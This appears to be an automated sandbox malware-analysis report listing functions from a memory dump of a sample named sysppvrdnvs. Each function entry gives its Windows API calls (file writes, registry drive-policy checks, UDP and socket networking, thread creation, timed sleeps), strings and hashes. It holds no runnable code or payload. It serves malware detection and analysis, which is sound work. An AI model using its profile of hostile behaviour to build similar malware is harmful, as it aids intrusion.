Function 0040ED01 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction ID: 82367b585ef85f09a19fbcbd702cec43aacbd83c2379c0e5ae25b899a50ddae9
Opcode Fuzzy Hash: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction Fuzzy Hash: F1313970A0020ADFCB14CF99D884BEFB7B5FF88304F108969E514A7390D778AA91CB95

Function 0040EBA1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

service, xrefs: 0040EC13
serviceType, xrefs: 0040EC26

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction ID: b0af1682f63206834f838cc0e71cdea1734b5e967c65deefb948a4066f0743c7
Opcode Fuzzy Hash: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction Fuzzy Hash: 09312874A0420A9FDB04CF99C884BEFB7B5BF48304F108969E615B7390D779AA81CB95

Function 0040B530 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(004163E0,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B5C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B5E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B5F3
CloseHandle.KERNEL32(000000FF), ref: 0040B5FD
InterlockedExchange.KERNEL32(00414FB0,0000003D), ref: 0040B60A

Strings

.#v, xrefs: 0040B5FD

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: .#v
API String ID: 442028454-507759092
Opcode ID: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction ID: a0ca425d267a8141d5e1d1f6c90da30668f0d4feb664184cc2dbb6b4fe126232
Opcode Fuzzy Hash: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction Fuzzy Hash: 93312BB4A00208EBCB14DF94DC45FAEB775FB88304F208969E51567390D775AA41CF99

Function 004077F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040786D
Sleep.KERNEL32(000003E8), ref: 0040789C
wsprintfA.USER32 ref: 004078C7
DeleteUrlCacheEntry.WININET(?), ref: 004078D7
Sleep.KERNEL32(000DBBA0), ref: 0040791F

Strings

%s%s, xrefs: 004078BB

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction ID: a96cc5071c69656b1b6f4b00c6699880e4d6530ea1aa1078cf67c052952084b8
Opcode Fuzzy Hash: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction Fuzzy Hash: 643116B0C01218DFCB50DFA8DC887EDBBB4BB48304F1085AAE609B6290D7795AC4CF59

Function 004063E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063E6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
RegCloseKey.ADVAPI32(?), ref: 0040647E

Strings

NoDrives, xrefs: 00406458
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406427

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction ID: 87cba227ccd7b938b07588cb79f30f32aa16a0fd6c84a7572e83495dfcaef010
Opcode Fuzzy Hash: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction Fuzzy Hash: D311FCB0E0020A9BDB10CFD0D945BEEBBB4BB08304F118119E615B7280D7B85685CF99

Function 0040DBE0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04

Part of subcall function 0040DCD0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
Part of subcall function 0040DCD0: CloseHandle.KERNEL32(?), ref: 0040DD29

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction ID: 271f69a92097b1b74c70525479ef463fb32d1143369d808ec26f6a45d53993ac
Opcode Fuzzy Hash: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction Fuzzy Hash: 8D31FA74A00208EFDB04DF98D889B9E7BB5EF48314F0085A8E906A7391D774EA95CF94

Function 00407720 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407726
srand.MSVCRT ref: 0040772D
rand.MSVCRT ref: 00407735
Sleep.KERNEL32 ref: 00407746
StrChrA.SHLWAPI(00000000,0000007C), ref: 0040776C
Sleep.KERNEL32(000003E8), ref: 0040779D

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction ID: d526f444081091d18ff5343ef40ffd9a09f2c1e6f6858c3ecb06089bc02b22b2
Opcode Fuzzy Hash: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction Fuzzy Hash: 1F21A479E00208FBC704DF60D885AAE7B31AB45304F10C47AE9026B381D679BA80CB56

Function 00409860 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040986D
_aullshr.NTDLL ref: 0040987E
_allshl.NTDLL ref: 004098A0
_aullshr.NTDLL ref: 004098BC
_allshl.NTDLL ref: 004098DE
_aullshr.NTDLL ref: 004098FA

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction ID: 526ada65c8064deb58b6c5f7a60763359622b06b1071bb594fb8502c37df64e6
Opcode Fuzzy Hash: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction Fuzzy Hash: C1111F32600618AB8B10EF5EC4426CABBD6EF84361B25C136FC2CDF359D634DA454BD8

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction ID: 05dd75d8116292c76d11c3cc90d45d23dbf78b8bb9632d9a28891a4d74dcab7a
Opcode Fuzzy Hash: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction Fuzzy Hash: 0731B3762083009BC710DF69D880A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 0040DE90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040DEA9
CloseHandle.KERNEL32(?), ref: 0040DED8
LeaveCriticalSection.KERNEL32(?), ref: 0040DEE7
DeleteCriticalSection.KERNEL32(?), ref: 0040DEF4

Strings

.#v, xrefs: 0040DED8

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID: .#v
API String ID: 3102160386-507759092
Opcode ID: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction ID: ac11750a047aba6f79e7b8cc85f80e728fdbf261864cbbb5073f4aff0768140e
Opcode Fuzzy Hash: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction Fuzzy Hash: 65115E74D00208EBDB08DF94D984A9DBB75FF48309F1081A9E806AB341D734EE94DB89

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

Part of subcall function 0040AB60: HeapFree.KERNEL32(?,00000000,00402612,?,00402612,?), ref: 0040ABBB

Strings

.#v, xrefs: 0040135C
pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu$.#v
API String ID: 309973729-1687148394
Opcode ID: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction ID: d5c9189d357da9e52bb83819b3173fb4210b6dfc4c93b70417a9898bc2e8bd9b
Opcode Fuzzy Hash: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction Fuzzy Hash: 3D0186765003109BCB20AF66ECC4E9B7779AF48711B044679FD056B396C738E85087A9

Function 00406360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?c@), ref: 0040636D
QueryDosDeviceW.KERNEL32(?c@,?,00000208), ref: 004063AC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 004063C4

Strings

?c@, xrefs: 00406369, 004063A8, 0040636C, 004063AB
\??\, xrefs: 004063B8

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: ?c@$\??\
API String ID: 1681518211-744975932
Opcode ID: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction ID: e6efffa98ab35b62633249d18dd791fc9affcc5f03e1fdb0b50d0aac4f7d71b0
Opcode Fuzzy Hash: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction Fuzzy Hash: 6101F474A4021CEBCB20CF55DD497DD7774AB04714F00C0BAAA06A7280D6759FD5CF99

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction ID: 3b152336b57d45bd484518126aaa8069a8e5b95e48398e5ac574b9fb36890b51
Opcode Fuzzy Hash: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction Fuzzy Hash: 8C41C371A00A02ABC714AB399848793F3A4BF84310F14823AE82D93391E739B855CB99

Function 00409440 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944E
_allshl.NTDLL ref: 0040945D
_allshl.NTDLL ref: 0040946C
_allshl.NTDLL ref: 0040947B
_allshl.NTDLL ref: 0040948A

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction ID: d897fcd8a6e9f4a7bfe0dcf07208541f34cf8f45c30d72ee7b1e381ef02b65f1
Opcode Fuzzy Hash: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction Fuzzy Hash: D2F03672D015289B9710FEEF84424CAFBE59F89354B21C176F818E3360E6709E0946F1

Function 004076C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 004076E8
CreateThread.KERNEL32(00000000,00000000,00407720,00000000,00000000,00000000), ref: 0040770A
CloseHandle.KERNEL32(00000000), ref: 00407711

Strings

.#v, xrefs: 00407711

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID: .#v
API String ID: 2064604595-507759092
Opcode ID: 0ababd338b93d4f15b5807df93ab29fe9547c17ebc95fa2dc8514e940c4b66a1
Instruction ID: 1765171bc77b4966af89c460e37a8a9fa1404b8c40c23c814704cc40933dc83e
Opcode Fuzzy Hash: 0ababd338b93d4f15b5807df93ab29fe9547c17ebc95fa2dc8514e940c4b66a1
Instruction Fuzzy Hash: 54F090B1A04308FBDB00DFA4DC46F9E7778AB48704F208468FA08A72C1D675BA10C769

Function 0040F1F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
CloseHandle.KERNEL32(000000FF), ref: 0040F232

Strings

.#v, xrefs: 0040F232

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: .#v
API String ID: 1378416451-507759092
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 7e163f13d574deee43add6bab66e88a36a5285de070472799180e575aa2043d7
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: A0F03774A40308FBDB20DFA4DC49FCD7B74EB04701F2082A4FA047B2D0D6B55A418B44

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction ID: daf299aa3b87b71fb70ff151311bbfa052327c8c190f043936f27822c7d74034
Opcode Fuzzy Hash: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction Fuzzy Hash: 1621C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF559A6290E774D94887EA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

